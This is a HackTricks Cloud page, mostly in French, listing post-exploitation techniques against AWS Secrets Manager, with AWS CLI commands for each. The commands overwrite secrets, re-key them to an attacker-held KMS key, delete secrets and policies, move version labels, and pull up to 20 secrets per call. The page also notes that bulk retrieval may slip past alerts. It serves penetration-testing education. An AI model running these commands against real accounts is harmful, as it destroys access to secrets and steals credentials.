AWS - Secrets Manager Post Exploitation
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Secrets Manager
Pour plus d'informations, consultez :
Lire les secrets
Les secrets eux-mêmes sont des informations sensibles, consultez la page privesc pour apprendre comment les lire.
DoS Changer la valeur du secret
En changeant la valeur du secret, vous pourriez DoS tous les systèmes qui dépendent de cette valeur.
warning
Notez que les valeurs précédentes sont également stockées, il est donc facile de revenir à la valeur précédente.
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
DoS Change KMS key
Si l'attaquant dispose de la permission secretsmanager:UpdateSecret, il peut configurer le secret pour utiliser une KMS key appartenant à l'attaquant. Cette clé est initialement configurée de manière à ce que n'importe qui puisse y accéder et l'utiliser, ce qui permet de mettre à jour le secret avec la nouvelle clé. Si la clé n'était pas accessible, le secret ne pourrait pas être mis à jour.
Après avoir changé la KMS key du secret, l'attaquant modifie la configuration de sa KMS key afin que seul lui puisse y accéder. Ainsi, dans les versions ultérieures du secret, celui-ci sera chiffré avec la nouvelle KMS key et, comme il n'y aura plus d'accès à celle-ci, la possibilité de récupérer le secret sera perdue.
Il est important de noter que cette inaccessibilité ne se produira que dans les versions ultérieures, après que le contenu du secret aura changé, puisque la version actuelle est toujours chiffrée avec la KMS key originale.
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
DoS Deleting Secret
Le nombre minimum de jours pour supprimer un secret est de 7
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7
secretsmanager:RestoreSecret
Il est possible de restaurer un secret, ce qui permet de récupérer des secrets qui ont été programmés pour suppression, puisque la période minimale de suppression des secrets est de 7 jours et la maximale est de 30 jours. Associée à la permission secretsmanager:GetSecretValue, cela permet de récupérer leur contenu.
Pour récupérer un secret en cours de suppression, vous pouvez utiliser la commande suivante :
aws secretsmanager restore-secret \
--secret-id <Secret_Name>
secretsmanager:DeleteResourcePolicy
Cette action permet de supprimer la resource policy qui contrôle qui peut accéder à un secret. Cela pourrait entraîner un DoS si la resource policy était configurée pour autoriser l'accès à un ensemble spécifique d'utilisateurs.
Pour supprimer la resource policy :
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>
secretsmanager:UpdateSecretVersionStage
Les états d'un secret servent à gérer ses versions. AWSCURRENT marque la version active utilisée par les applications, AWSPREVIOUS conserve la version précédente pour pouvoir revenir en arrière si nécessaire, et AWSPENDING est utilisé dans le processus de rotation pour préparer et valider une nouvelle version avant de la rendre courante.
Les applications lisent toujours la version marquée AWSCURRENT. Si quelqu'un déplace ce label vers la mauvaise version, les applications utiliseront des identifiants invalides et risquent d'échouer.
AWSPREVIOUS n'est pas utilisé automatiquement. Toutefois, si AWSCURRENT est supprimé ou réaffecté incorrectement, il peut sembler que tout fonctionne encore avec la version précédente.
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>
Mass Secret Exfiltration via BatchGetSecretValue (jusqu'à 20 par appel)
Abuse the Secrets Manager BatchGetSecretValue API to retrieve up to 20 secrets in a single request. Cela peut réduire considérablement le volume d'appels API comparé à l'itération de GetSecretValue pour chaque secret. Si des filtres sont utilisés (tags/name), la permission ListSecrets est également requise. CloudTrail enregistre néanmoins un événement GetSecretValue par secret récupéré dans le batch.
Required permissions
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue pour chaque secret ciblé
- secretsmanager:ListSecrets si --filters est utilisé
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
warning
Notez que la permission secretsmanager:BatchGetSecretValue n'est pas suffisante pour récupérer des secrets ; vous avez également besoin de secretsmanager:GetSecretValue pour chaque secret que vous souhaitez récupérer.
Exfiltrate by explicit list
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
Exfiltrer par filtres (tag key/value ou préfixe de nom)
# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'
# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20
# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp
Gestion des échecs partiels
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
Impact
- Récupération rapide “smash-and-grab” de nombreux secrets avec moins d'appels API, pouvant potentiellement contourner des alertes configurées pour des pics de GetSecretValue.
- Les logs CloudTrail incluent toujours un événement GetSecretValue par secret récupéré par lot.
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud